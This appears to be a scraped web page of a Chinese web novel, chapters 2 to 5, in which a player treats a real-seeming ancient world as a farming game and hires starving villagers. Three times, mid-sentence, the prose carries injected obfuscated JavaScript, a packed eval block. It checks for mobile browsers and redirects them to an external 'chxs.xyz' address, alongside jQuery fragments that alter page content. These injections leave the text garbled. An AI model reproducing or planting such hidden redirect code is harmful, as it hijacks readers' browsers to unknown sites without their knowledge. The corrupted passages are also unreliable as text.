《普通人,名下三千谋士很合理吧》 2. 第2章 雇佣 不说远的,就前几年有一波不信邪的民间探险队,非要进潜灵山寻找机缘,宝贝,不听劝阻,进去了就再也没见出来,等到现在,潜灵山的凶名越传越响,这一片早就不敢有人来了。 要不是被逼上绝路,张山自问他自己也没有这个勇气上山,上山的路不算险峻,但人走着走着,就很容易迷路。 张山已经在这山林子里打转了三天,却依旧没办法出去,本以为他会像无数进入潜灵山的人一样悄然死去时,他看到山顶闪现出一抹金光,虽然金光显现的时间很短,但这无疑是一个机会。 ——与其被困死在山里,不如朝着那金光走去,万一能找寻到一条活路呢? 他有些不安地摸了摸背在后背的背篓,里面放满了他采摘的蘑菇,野果,猎到的野鸡野兔——不得不说,潜灵山多年没有猎人进山,山间的野物确实多得很,他打猎打得尽兴,等到意识到被困也来不及了。 上山的小路有好几条,张山按照经验选择了一条最为可能的路,便一鼓作气地往前狂奔,中途累了就吃点野果,困乏就稍微歇会,等他走到一处转弯处时,听到了拐角处行走的动静。 有人。 张山左右扫视,迅速钻进距离他最近的草丛中躲了起来,这潜灵山邪门得很,他可不愿意在面对未知的时候暴露自己。 前方声音越来越大,张山黢黑粗糙的额头上慢慢渗出汗水,屏气的同时,手搭在了弓箭上。 若是一会看到什么妖魔鬼怪冲他扑来的话,他射了就跑,能活下来最好,活不下也算是命。 来了—— 张山强迫自己打起精神,指尖颤抖着绷到最紧,汗水打湿了褂子,就算这样,他蹲下来的身子也不敢动。 而顺着他的目光看过去,入眼的先是一团柔和的金光。 随后,来人淡青色的袍角率先飘出来,再往后,那张足以让日月失色的容颜完全出现。 张山忍不住看呆了过去,呼吸也不自觉地加重了几分。 那人出现后,先是吃了一颗仙果,随后自顾自地去不远处的青石上打坐,在他打坐的同时,背后令人无法忽视的金龙正上下翻滚,时不时隐匿虚空,时不时又从虚空中探出头角,整个人缥缈若仙,不似凡人! 张山绷紧的手指不自觉放松,内心一片火热。 ——世间怎会有人能长成这副模样?能够有这般模样,气质的,除了神仙还能有谁! 若单轮模样,张山或许还会心存胆怯,怕姜定是山林间专吸人血吞人肉的妖魔,但当他看到隐约浮在姜定后背的那条张牙舞爪的金龙后,彻底将姜定认成了仙人。 那话本子上说的只有仙人才能御龙! 他张山也是运道到了,竟然能在这潜灵山遇到神仙! 顿时心下狂喜,挣扎着起身,就要冲出去跪拜神仙。 岂料他这一动弹,身旁突然窜出一条拇指长的黑黄色三角扁头蛇,对着他的小腿就是恶狠狠地一咬。 呼喊声被他掐在喉咙,张山忍着痛,捉住那蛇,将它用小刀砍死,等看清楚蛇的模样后,他顿时心生绝望。 完了!这是毒蛇里最毒的五步蛇,只要被它咬伤一口,五步以内必死! 他的师傅就是被这种蛇咬死的,人死的时候,七窍流血,好不恐怖! 张山低头去看自己被咬伤的小腿,那腿上两个血点正冒出黑红色的污血,几乎片刻,那块皮肤瞬间发青,整条腿都开始麻木了起来。 他来不及向仙人求救,整个人栽倒在地,翻滚出了草丛。 姜定被屏幕里突然出现的人吓了一跳。 他正等着体力回满呢,一眨眼,从草丛里滚出来一个人。 这人脸色发青,抽搐着不说话,脑袋上标记着【中毒】。 姜定先是蹙眉,随后舒展眉头,剧情来了! 他立马起身,走到这人面前,从背包里翻找出当时爆出来的【蛇毒果】,给这人塞进嘴里。 蛇毒果化作细流被渡入张山口中,几乎一瞬,张山即将涣散的神志被他强行拉了回来。 等到蛇毒果化成暖流,滋润完他五脏六腑后,张山这才迷茫睁眼,瞪着天发呆。 ——我这是死了? 不对,这里看着还是之前那地方,那就是仙师救我! 想到这里,张山“嗷呜”一声跳跃起身,随即冲过来,对着姜定就是一个流畅的滑跪。 “谢仙师救命!” 姜定被他突如其来的操作,惊得呆愣在原地。 别说,这游戏的NPC还是挺有意思的,看了眼屏幕没有出现什么和他搭话的选项,姜定有些看不懂这游戏的操作了。 张山说完话后,对面的仙师却是一动不动,他不敢妄动,只能更虔诚地垂着头。 像是突然想到什么一般,张山将自己的背篓解下,放在身前。 “仙师救了小人,小人无以回报,只能用乡间野物报答,还请仙师收下。” 没想到这NPC话还不少,姜定右手敲击着键盘,想着该如何和这人搭话时,选项总算出来了。 【张山似乎对您很感激,你该怎么做?】 【选项一:保持高洁的仙人姿态,告诉他这是你应做的,不必多礼。】 【选项二:收下他的谢礼,并让他替你工作。】 姜定揉了揉眼睛,嘴角忍不住高高翘起。 ——原来是他打开游戏的方式不对啊,怪不得之前修复小屋时他一个人吭哧吭哧地捡了两个小时垃圾,合着这游戏还能雇佣NPC给自己干活啊! 原来如此,这个应该就是变相的雇佣玩法的新手指导吧! 姜定毫不犹豫地点了选项二。 【你激活了“雇佣”版块,可以纳入村民替你工作了!】 果然!新功能出现了! 姜定连忙点开“雇佣”,进入页面后,上面只有可怜兮兮的一个村民。 【姓名:张山 年龄:30 体力:70 魅力:40 忠诚度:80 技能:初级打猎】 额,才30岁么,但是看画风看着他像是五十岁人了啊! 姜定压住浓浓的吐槽欲望,蹙眉看着张山平平无奇的属性。 ——还凑合吧,主要是他现在也没遇到什么更好的劳动力,只能先用张山来过渡一下。 不过张山的忠诚还算高,应该是因为解毒剧情。 【请给您的工人制定工资。】 姜定收到提示后,这才发现张山名字后面跟着一个选项,每日薪资。 他点击薪资,随后发现薪资是可以调节的,从1铜板到999 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14783129|157987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 9金区域内调节。 姜定呵呵一笑,直接将薪资拉到了最低。 1铜板! 他都快穷死了,哪来钱付给张山啊!对不起了张山,前期你就辛苦一下吧! 眼看一切完美,姜定点击关闭,随后游戏提示跳了出来。 【你选择的薪资太低了,不符合本游戏以人为本的宗旨。】 ...... 姜定无语地重新打开薪资页面,不情不愿地按照游戏要求选择了最低的薪资——100铜板。 所以说一开始1铜板是起到了一个气死玩家的作用吗? 姜定很无语,不过想想雇佣了张山以后,按照每天工作24小时来计算,他肯定是稳赚不赔的。 想明白了这点后,姜定顿时舒服多了。 游戏提示他设定张山的工作时间,姜定扫过去,刚才还充满笑意的面庞,瞬间凝固。 ——竟然最多只允许工人工作8小时? 姜定试探着将工作时间往后调了一个小时,游戏提示恰当地弹跳出来。 【加班工资要按照平日工资的1.5倍计算哦,你确定需要张山加班工作吗?】 姜定沉默地点了拒绝。 ——话说,这游戏还是蛮人性化的,比他现实中遇到的那些公司还要懂体恤员工。 ——但是,一个游戏你搞这么理想干嘛啊! 姜定忍不住吐槽,随后安慰自己想开点。 既然人已经雇佣了,姜定自然要立马将张山带回去继续捡垃圾。 他率先往小屋的方向走去,身后跟着的张山却是一脸惊喜。 ——仙师居然让他留下来工作了! 日薪100文! 张山脑袋晕乎乎的,走路的时候腿还在忍不住地打颤。 他没学过算数,但是往常,他卖出一只大约三斤重的野鸡,野兔的价格是9文,这还是行情好的,行情差的,也就7文。 像是他背篓里采集到的野菜蘑菇,一斤一文,买的人也是寥寥无几。 除却他打猎的能力,家里还有几亩薄田,一个年头,全家最多就能攒下1,2两。 哪像今天,突然遇到仙师救命不说,还被仙师可怜,赏给他这么高的工资。 这可是100文啊。 一天赚100文,一个月有三十天,那就是3两了! 就算除去家里的吃喝穿用,那最少也能剩下2两! 什么时候,他这种身份的人,也能一个月赚这么多钱了? 张山喜悦得浑身发抖,喘气声都粗了几分,这会正迷迷糊糊地跟着仙师往前走。 等到路过一个岔路口,冷风一吹,刚才还滚烫的思绪,被风一吹,瞬间降温了。 ——他一个普通人,普通到不能再普通的人,真的能这么好运,又是遇到仙师,又是被救,最后还能有这么高的工资? 张山后知后觉开始为即将到来的工作担忧起来。 ——不会是仙师让他去和妖怪搏斗吧,或者仙师要他身上的什么东西? 张山闲来无事路过镇上的茶馆时,偶尔也会进去蹭听说书人说书,有时候是侠客肆意江湖,又有时候是神仙上天入地,中间也掺杂着不少邪仙炼化凡人的故事。 这么一想,张山回忆刚才种种,滚烫的心凉了半截。 3. 第3章 招募 而就在这时,前方仙师停顿下来,清冷道:“到了,你就在这附近挖掘石块,修整这一片荒地吧。” 张山赶紧伸长脖子往前看,这才看到一片长满杂草,堆满乱石的荒地。 给100文,竟然只是让他过来清理荒地? 张山瞪大眼睛,看向前方的仙师,而在姜定看来,张山眼中有泪,似乎充满了不满和控诉。 ——难道是给的工钱太低,村民不愿意,想加工资? 姜定虎躯一震,刚想瞪张山一眼,却见张山已经开始拿着工具干活了。 他干得还挺卖力,之前姜定自己得挥动锄头10下才能挖掘出一块石头,现在张山竟然只需要5下,效率比他高了一倍。 看着张山这么卖力,姜定松了口气,随即走近不远处的屋内,打算睡一觉度过今天。 【是否度过今天?】 姜定选择了是。 下一秒,过场动画由白天转向黑夜,再转向白天。 【你已存档,这是你来到大炎朝的第二天,你的工人为你发掘了新的游戏功能,快去看看吧!】 新功能! 姜定赶忙出门,直奔张山所在地而去,而张山干了一夜,早就困顿不堪,见到姜定的时候,他双眼充满了红血丝,看上去骇人极了。 没等走近呢,姜定眼前先弹出了一堆游戏提示。 【你的工人为你采集到了以下物资:石块*713,干草*301,蛇毒果*6,苹果*22,番薯种子*12。检测到种子存在,开启种田功能。】 这张山效率不错啊,居然挖出来不少资源呢! 姜定美滋滋地继续往下看。 【你的镐子中途坏了一次,张山修补好了镐子,但耐久度降低了,开启锻造功能。】 张山够拼了啊,镐子都能用坏,不过没关系,反正这种基础工具包以后要多少有多少,张山啊,你可算是干了一件好事,开启锻造功能了! 【你的工人张山加班12小时,按照每小时1.5倍平常工资计算,你应该付给他共计400文。】 !!!什么鬼,合着张山辛辛苦苦一顿,结果是为了给他自己赚钱啊! 本来预计能赚,900多个铜板,现在加班这事一搞出来,瞬间,铜板锐减到了600个,姜定感觉自己的心都在滴血。 张山,误我啊! 对了,不是昨天设定的是张山只被允许干8小时么! 姜定立马对张山怒目而视。 你怎么回事,让你干8小时,你特么偷偷加班!其实你小子最黑心是不是,前期阻碍我发展的拦路虎! 姜定怀疑,这张山就是前期游戏特意留下来的,坑害玩家的设计。 为了避免张山继续加班,姜定赶紧狂点张山。 而等到这次点击张山时,他惊讶地发现NPC身上竟然出现了四个简短的指令。 【工作】【宣传】【休息】【解雇】。 姜定微微思索,随后点击了【休息】。 这样应该就能让NPC强制休息了吧? 张山累了一晚上,仙人没告诉他干多久,他只能一股脑干下去,就算是累了困了,也不敢停下来。 清晨,他看着自己开垦好的荒地,心里有些不踏实。 ——自己干的活,够不够100文呢,万一仙人发火,说自己干得太少了可怎么办? 正忐忑不安时,却听那仙人冷哼一声:“张山,你可知错?” 张山心里一咯噔,赶紧匍匐在地,不住地磕头,“小人知错,仙师,难不成是小人干的活太少了?” “错!是你干得活太多了。 在我这里,一天只允许工作4个时辰,一旦超过4个时辰,必须立马停工,你听明白了么?” 本以为对方兴师问罪是因为自己干活干少了,但是等张山听清楚了仙师的话后,顿时呆愣在原地。 啊?真的假的? ——一天干4个时辰,给100文? 张山整个人都迷糊,他有些看不懂仙师的操作了。 “.....仙师,那小人昨日干错了,自愿不要昨日工钱。” 张山瑟缩着身子,偷偷抬头,却看到仙师的脸色更难看了。 姜定冷哼一声,他算是看穿游戏套路了,村民嘴上说着不要工钱,实际上等他真不给了,游戏肯定会找个理由翻倍惩罚他。 从上次加班吸取到教训的姜定,立即严肃拒绝了对方的提议。 “张山,你更是错了!我不仅不会不给你钱,反而要多给你钱。” 只见金光一闪,张山怀里多了一个鼓鼓囊囊的小荷包。 怀里沉甸甸的分量告诉张山,这里面绝不是区区的100文。 但是光从外表看的话,这荷包连100文都放不下,更别提比100文更多的钱了。 “仙师,这,这使不得啊...” 张山还想说话,姜定挥挥手,有些烦躁地离开了。 刚才游戏新出来的功能,他得好好研究一下,哪里有时间浪费在张山身上? 等到他回到住所,这才点开种田功能。 【你拥有番薯种子,每次收获一轮,有机会获得改良过后的番薯种子,赶快试试吧!】 姜定看着手里12个番薯种子沉思。 ——这也太少了! 种田游戏嘛,要想富先种地。 要种地就得有种子,他现在种子数量少,耕地也少,这会极大地阻碍他的赚钱大计。 如果有种子商店这种东西的话,他就不用发愁种子不够了,但很可惜,他至今为止,暂时无法离开这座山头,唯一的突破口在张山那里。 ——对了,他下不去,可以让村民上来给自己干活啊! 张山肯定是本地人,家人肯定就在附近不远处,让他回去喊村民过来给自己工作,不就解决了劳动力不足的问题了? 姜定顿觉自己是个天才。 这游戏和往常游戏不一样,拥有极高的自由度和真实性,如果真的足够真实的话,他或许可以试一下脑内的猜想。 姜定拿出一个番薯种子,发现所谓的种子,就是种薯。 个头比他想象中的要大。 种薯身上出现了不少芽点,按照现实种番薯的话,每一个芽点都能顺利成长为一个新的番薯种苗。 姜定二话不说,拿出厨房找到的刀具,对着番薯就是一顿切。 等到将每个芽点都切开后,游戏提示果然到了。 【你获得了9个番薯种子。】 成功了! 姜定激动了,头一次觉得游戏真实点也有真实的乐趣。 怪不得好友能玩这么久,这么看来,这游戏趣味性还是很高的啊。 姜定如法炮制,将剩余的11个番薯种子拿出来,一一切开,总共获得了104个番薯种子。 这样就足够了。 已经体会到雇佣村民乐趣的姜定,自然不会再自己下地干活了。 姜定将种子收好,然后推开门去找张山。 他在屋内研究番薯的时候,门外的张山则是偷偷摸摸数了数给自己的工资。 荷包看着小,但是拎起来沉甸甸的,张山解开荷包口,一枚一枚的往外掏铜板。 他直勾勾地盯着荷包,心想里面只要有80文——不50文,他都心满意足了。 结果小小的荷包,里面的铜板像是掏不完一样,他伸手进去,拿出来一把,再伸手,还是一把,等到最后,张山甚至掏铜板掏到麻木,荷包这才空荡荡起来。 ——400文!竟然足足有400文! 张山呼吸急促,眼神放光。 一晚上就能赚400文,这样的好工作除了神仙能给他,别人怎么可能会给他! 再次数了数铜板,确定是400文后,张山小心翼翼地将铜板重新放回荷包中,将荷包揣在怀里。 沉甸甸的铜板似乎隔着荷包烫得他心头颤抖,他这一瞬间想到了许多,想到了城镇里那热乎暄软的肉包子,放着两面煎得金黄荷包蛋的阳春面,还有刚出炉热腾腾的荷叶烤鸡,除却这些以往想吃吃不起的吃食,他更是想到了妻子那饿得蜡黄菜色的面庞,还有她怀里奄奄一息,瘦弱得像是小猫崽子一样的闺女。 张山抬手,用脏兮兮的粗糙麻布擦了擦眼角。 这会他眼尖的发现,仙师出来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14783130|157987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 张山立即挺直身板,脸上带笑,小跑着过去迎接姜定。 等到姜定看到的就是张山兴高采烈地扑了上来,一脸兴奋。 他不动声色地往后挪了一截,随后点击张山,在四个指令中选择了【宣传】。 【宣传】,应该就是招纳,招募的意思吧? 姜定不太确定,但是运用排除法,只有这个看着还像那么回事。 “张山,你做得不错,眼下我需要更多的人手替我办事,你愿不愿意充当宣传大使,替我招揽一些人过来?” 张山听着眼前仙师的要求,瞪大了双眼。 宣...什么,宣传大使?这是什么意思? 张山本想问,但是看到仙师一副不耐烦的模样,瞬间闭嘴。 ——额,结合上半句话,仙师应该是让他帮忙找人过来干活? 虽说不知道仙师之后还会不会给这么高的工资,但是只要有可能,他还是愿意先让本村村民过来工作的,不然这世道,又没钱,又没粮,斗坡村今年不知道要死多少人呢。 思来想去,张山觉得他还是要问清楚工作待遇,这样他也好回去招人。 “仙师,小人斗胆一问,之后来的人,工钱也是一日一百文吗?” 他边问,眼神不住地扫视仙师,要是对方有一丝不满的神色,他就知道仙师态度了。 “这是自然。” “那小人愿意!不过,仙师,小人是否可以先举荐本村的村民过来?” “可以。” “那仙师大概需要多少人?” “越多越好。” 姜定选择完了对话,突然觉得这NPC话好多。 倒是张山压着激动,不敢多说话。 ——仙师一言九鼎,待人和善,这么好的工作,还是给神仙工作的,村民们肯定愿意,关键是,工钱也高啊! 现在因为饥荒,他们村今年的收成都不好,如果能在仙师这里赚到钱,他们可以委托村里的货郎去城镇里给村子买粮食,这样饥荒也算是解决了。 张山越想越兴奋,等到他转身离开时,突然想到他还不知道离开的路。 转身刚想询问仙师,结果就看到眼前出现了一个金色的光点,随后,这个光点越来越大,在他眼前融化成了一个拱形的光门。 张山背起背篓,谨慎地往前走了几步,等到他咬牙穿过这道光门后,眼前的场景变化,最终定格在了他刚入山的那处地点——他出来了。 这么简单? 果然不愧是仙师!居然这么轻易地就送他出山了! 想到之前自己在山里打转的几天,张山心生敬畏,更坚信姜定仙师的身份了。 他既然背负了仙师的期望,那他自然要将这事办得漂亮才对。 张山急匆匆地离开了。 他回去的时候,斗坡村正值黄昏,以往饭点,家家户户都会燃起炊烟,柴火味和饭菜味混合在一起,整个村子看着生活气息十足,现在村子冷冷清清,别说炊烟,村口的好几家连油灯都不点了。 张氏正给闺女冲泡一块糖浆,这糖浆是家里最后一块了,实在是家里没有什么可吃的,不然这糖浆是张氏放到过年过节才舍得吃的好东西。 “梅姐儿,慢点喝,小心呛着糖水。” 张氏拍了拍女儿瘦成纸片的背,心疼极了,往年不是灾年时,全家虽说吃得不算多好,但好歹也能吃饱,现在遇到灾年,竟是连吃饭也成了奢望。 想着想着,张氏拿起手帕擦了擦泪,梅姐儿端着陶碗,“咕嘟嘟”地往下灌水。 丈夫去潜灵山已有五天,现在却一点信都没有,张氏不由开始担心丈夫,倒是梅姐儿喝了水,小脸看着微微有了点气色。 “娘,我想睡觉了。” “哎,娘早就给你铺好了床,你爬上炕去。” 梅姐儿点点脑袋,脱掉鞋子,整个人钻进被褥内,张氏心忧丈夫,生怕他看不清回家的路,转身从柜子里拿出一盏油灯。 豆大的光透过纸糊的窗户,在黑夜里为旅人带来一丝光明。 油灯刚点上,屋外传来一阵脚步声。 张氏心“咯噔”一下被提了起来。 4. 第四章 开门 她家住得远,再加上现在人吃不饱,只想在家里窝着,以往串门的情况现在是不可能了,这个时候自家来了人,十有八九不是善茬。 张氏谨慎地起身,慢慢走到了大门处,手里紧握着丈夫临走前留下来的木刺。 ——这年头收成不好,地不能种了,那些农民自然就成了流民中的一员,之前虽说没听到流民逃窜到自家村子的消息,但是万事还是谨慎点的好。 张氏憋着口气,没说话,屋外的人却先开口了。 “娘子,是我。” 等听到门外那熟悉的声音后,张氏肩头瞬间垮了下来,随后颤抖着手,开了门。 门外站着的不是张山又是谁! 张氏这几天的担忧恐惧,在看到丈夫的时候,瞬间消散了一大半。 “相公回来了,回来了就好,饿不饿?家里还有点梅姐儿喝剩的糖水,我去给你端过来。” 她没问丈夫此次收获如何,经历过这几天的恐惧担心,她现在觉得,只要全家人能在一起,那已经很好了。 “不急,娘子,你看这。” 张山拦住张氏,将背篓放在地上让她看个仔细。 张氏凑过来看,等到看清楚背篓内放了什么东西后,眼睛都瞪大了。 像是不相信一样,张氏揉了揉眼睛,生怕自己花了眼。 ——她没看错吧?里面有肉有菜有野果? “还有这个。” 张山从怀中掏出来一个小荷包,递给张氏。 张氏接过荷包,一上手就能感觉到这荷包沉甸甸的。 等她数完了荷包内的铜板后,整个人都有些迷糊。 “四百文?这钱是哪来的?” 张山赶紧将遇到神仙的事说了出来,包括神仙让他帮忙找人干活这事。 他语速很快,但是张氏很快就听明白了。 神仙?! 真的假的? 要不是有丈夫带来的铜板,吃食作证,张氏是万万不相信的。 “娘子,我想带着咱们一家人去仙师那边上工。” 张山下定决心,张氏犹豫片刻后点头。 “若是真像你说的那般,咱们先去的反而更好,明个你将这事告诉里正,看看他愿不愿意让村人跟着咱去。” “哎,好。” 这事算是暂时定下了,张山带回来的野味,两人分工合作,张山拔毛,张氏用盐涂抹在肉的表面,随后拿根草绳将肉串起来风干。 除了风干以外,张氏特意拿出陶罐,混着蘑菇野菜,做了一罐炖肉。 因她家附近没有邻里,她才敢这么做,不然邻居闻到味道,总要来问个清楚。 “过几天咱们去一趟县里,买点米面吃。” 县里有米面卖,但是价格早就翻了数倍,换作之前,张氏是万万不敢想去县里买米面。 张山应下来。 梅姐儿在梦中睡得不安稳,一会儿肚子饿得咕嘟嘟响,一会儿又在吃着肉,等她醒来的时候,正抽动着鼻子,慢腾腾地起身,喊着张氏。 “娘,是肉肉的味道!” 张氏笑眯眯地将梅姐儿搂在怀里,用筷子夹出一块炖煮入味的兔肉喂给她。 “姐儿鼻子真灵,你爹爹给咱们带回来好吃的了,你下来穿鞋,来饭桌上吃。” 梅姐儿年岁小,听到张氏的话乐得眼睛弯弯。 不等人催,她几下穿好鞋子,跑到桌子旁,端着碗,大口大口地吃肉。 一家人围在一起大口吃肉,就连最后剩下来的汤水,也全被张山喝得精光,这顿饭吃得全家心满意足。 看着家人惬意满足的模样,张山下定决心,要好好报答仙师,作为报答的第一步,自然是替仙师挑选合适的人选。 第二天一早,张山早早地来到了里正家。 里正家是斗坡村唯一建起来的青砖房,一共三间房,敞亮阔气,张山记得这三间房当时可是引起了轰动,建起来得要整整二十两银子! 像普通人,二十两得攒个十年都说少了。 他深呼一口气,抬手敲了敲略显陈旧的大门,不过多久,从里面出来个面熟的妇人,正是里正娘子,张娘子,她是本村人,嫁给了同为本村的张里正,待人温和亲切,很受乡邻喜欢。 “这不是张猎户吗,一大早来,是有什么要紧事?” 里正娘子笑着打开门,边问边上下打量眼前略显狼狈的张山。 她听说张山前几日去了潜灵山,先前她还唏嘘,张山年岁不大,何故进山白白丢掉性命,倒是没想到,人竟然完好无缺地回来了。 张山平时极少和里正家有来往,要不是仙师要让他找人上山上工,他想自己不会过来和里正说话。 眼看里正娘子没有邀他进屋说话的意思,张山涨红了脸,垂头低语几句,里正娘子的笑淡了几分。 她沉吟道:“张猎户,这话可容不得作假,你确定你说的都是真的?” 里正娘子人看着和煦,说起来话来,整个人却带了几分不容忽视的威严,张山赶忙摇头否认。 “这话我可不敢瞎编啊!” 仔细打量张山,看他不像是说谎的样子,里正娘子喊张山进屋,等他进来后,快手快脚地关上了大门。 “张猎户跟我来。” 里正娘子打头,张山赶忙跟上,等他在正厅坐着没等多久,里正来了。 里正今年四十又八,看上去却和张山岁数一般,张山见到里正,突然有些紧张,脑内还在想的措辞,瞬间有些乱了。 不等他说话,里正率先询问,“听说张猎户在潜灵山遇到了一位仙师?那位仙师说要招工?” 其实里正有些不相信,——都神仙了,自己挥一挥衣袖,什么活还要人亲手干? 张山本有些胆怯,但一提到仙师,想到仙师的慈悲心肠,还在飘的心顿时安定了。 正了正色,张山将事情起末娓娓叙来,为了作证,他拿出一百文铜板出来给里正看,“里正您也是知道的,先前我家实在是没办法了才会上山拼命,但凡家中还有点铜板,我也不可能上山去冒险,现在仙师让我下山帮他找人,我自知论村里声望,还得是里正您,我想着日一百文实在是个好差事,这好事还得是给咱乡邻更好些,您认为呢?” 里正沉吟片刻,有些犹豫。 ——按照张山的说法,每日一百文,只需要干四个时辰,工作内容仅仅是开荒,谁家的汉子没有个把力气,这事无论落在谁头上,都和白捡的馅饼一样,但坏就坏在那位仙师可是真的仙师? 里正也是知晓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14783131|157987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一些山野怪事的,山里的精怪修出了人智,它们甚至懂得徐徐图之,万一那精怪放张山出来只不过是想让张山引诱更多的人进山该如何是好? 到时候招工消息是从他手里放出去的,出了事,他又该如何面对父老乡亲们? 正头疼之际,张山盯着他,正色道:“里正,明日我打算带着我家妻女出发,前往潜灵山,为那位仙师效力,要是同样有想去的人,就让他们在村口的大槐树下等我,好一起去。” 说完这话,张山抬脚出了门,里正娘子将他送出去,转身去看自家相公。 里正喝了口水,像是终于下定决心一般道:“这事值得一试,我出去一趟,你也可将这消息传递给你认为可能去的人。” ——里正也是想开了,村里有多少人有余钱能抵抗灾年?留在村里过不久肯定也要饿死,不如抓住这一线生机。 里正娘子轻声嗯了一声,转身推门离去,而里正则也跟着出了门。 张山回到家中时,看到妻子正在仔细地炖煮一锅蘑菇,因为调料昂贵,蘑菇汤里只放了粗盐。 梅姐儿抓着他从山里采的红色莓果正往嘴里送,看到爹爹回来了,兴奋地跑过来,将莓果往他嘴里塞。 张氏捅了捅炉灶,擦了擦额间汗问,“事情成了?” 张山摇头,将里正的犹豫告诉张氏,“万一他们不肯去,那明日我们上山岂不是对不起仙师?” 张氏沉声道,“不会的,他们明天一早都会来,不信相公就等着瞧。” 张山想问,但想了想,始终没开口,一家人收拾好了第二天打算带走的东西,睡得安稳,等到第二日临出发前,张山背着包裹,张氏拉着女儿来到村口时,村口果然有不少人正等着他们。 其中里正竟然也在,张山有些意外,毕竟里正是村里最富裕的,他是没想到里正竟然会来。 一群人显然早就被告知了事情的始末,多余的话也没再继续询问张山,反而是村里先前和张山关系比较远的张平,张二走上来,抢着要帮他背包袱。 张山没能成功从两人手中抢回包裹,只能作罢,一行人除了张氏和梅姐儿,其余皆为男子。 共计二十六人,三两人组成一队,往潜灵山方向步行前进。 路途不算近,走路走了有一天,中途饿了众人也没停,只想着尽快赶到地方,张山知道,不是大伙不吃东西,而是因为能来的人基本上已经是被逼上绝路了! 中途无聊时,队伍里年纪最小的张六凑到张山身旁,一张脸浸着兴奋。 “山大哥,你给我们说说那神仙长得啥模样呗,是不是和画本子里说的一样,胡子可长了?” 周围的人虽说往前走,但是也跟着竖起了耳朵,张山脑内瞬间闪过一张俊秀出尘的脸庞。 “...没胡子,具体模样不好说,但一会你看着了就知道,仙师绝对是神仙。” 张六有些不高兴地踢踏步,嫌张山的话说得太敷衍。 张山强迫自己忽略周围人的失落,心想等一会这群人看到仙师就明白了,他说的话可一点都不假! 一行人到了山下后,有人刚想徒步上山,却被张山拦下,在所有人诧异的目光中,张山对着眼前空地盈盈一拜,“仙师,小人回来了,烦请仙师带我们上去!” 5. 第5章 新决定 张山恭敬地垂着头,看没有回应,用更大的声音继续呼喊仙师。 虽说张山一来一回耗费了两天,而在游戏中,只不过几分钟而已。 姜定还在研究先前从床板下找到的那地图,就看到面板上弹出一个消息提示。 点开一看,原来是张山。 【你的工人张山回来了,似乎为你带来了新招募的人选,是否同意让他进入?】 姜定来了精神,好事啊!种田大业可算是开启了! 他顺着游戏点了个同意,随后眯着眼睛继续看着那地图。 刚才他找到了一条似乎能离开这片山头的小路,等到一会雇佣完了这些人后,他决定去那条小路亲自看看。 收好地图,姜定大摇大摆地推开门,在等待张山的同时,姜定顺带让主控坐下来回复体力,省得浪费时间。 在张山喊了几嗓子后,山间始终没有任何变化。 他还没慌呢,其余人先不自信了。 “张山,这样真行么?我怎么看着也没有神仙过来啊?” “山大哥,不然我们自己上山看看?” “......我就说那张山是被邪祟附了身,潜灵山这地方邪门得很,他可别是早就神智错乱了。” 一伙人小声嘀咕,说什么的都有,里正到底是见过大世面的,这会既然已经跟着张山来了,他自然不会让村民乱说话,省得真惹怒了那位不知是否存在的神仙。 “行了行了,别嘀嘀咕咕的,当初没人强迫你们过来,我也说明了这事的风险,既然你们默认接受风险,就不要去埋怨。” 里正一开口,刚才还在小声嘀咕的众人只能憋着火,不再言语,而张氏则是略带感激地看了一眼里正。 她心里也没底,虽说相公上一次确实是遇到了仙师,但是谁又能保证仙师这次还会接收他们这些人呢,要知道那些神仙的想法从来都是他们这些凡人琢磨不透的。 张山看着一脸淡定,实际上心里也逐渐没底气,但是他喊叫的声音却是越来越有力,等他再次叩首抬头时,余光出现了一抹金色。 张山神色一动,浑身像过电一样,泛着密密麻麻的酸痒,当下激动出声,“快看!仙师来接我们了!” 其余人早就呆愣在原地,眼睁睁地看着那一抹金色光点划破虚空,随后硬生生地撕开,形成金色拱门。 众人不敢耽误时间,立即紧跟着张山踏入拱门内。 等到他们进入拱门后,两眼一花,随后周围场景快速跳跃,直至来到姜定附近,拱门这才将他们留在原地。 众人刚经历过那堪称神奇的一幕,心神还未平复,紧接着就看到姜定正慢悠悠地坐在青石上吞吐吸纳,容颜不似凡人,身后金色蛟龙翻飞,都不用张山开口,众人立马就知道了,这位就是张山口中的仙师! 先前众人还觉得张山对仙师的解释太过于敷衍,但当他们真正看到仙师时,脑海里却也一片空白,只能呆愣在原地,静静地看着这天外之人。 姜定看着屏幕中出现的众人,心里狂喜。 ——好啊好啊!张山竟然给他带来了这些人,他总算能暂时不用发愁工人了! 挨个点开这些人,姜定很快就发现这些人对他的忠诚度只有不到30,不过也能理解,毕竟才开始嘛。 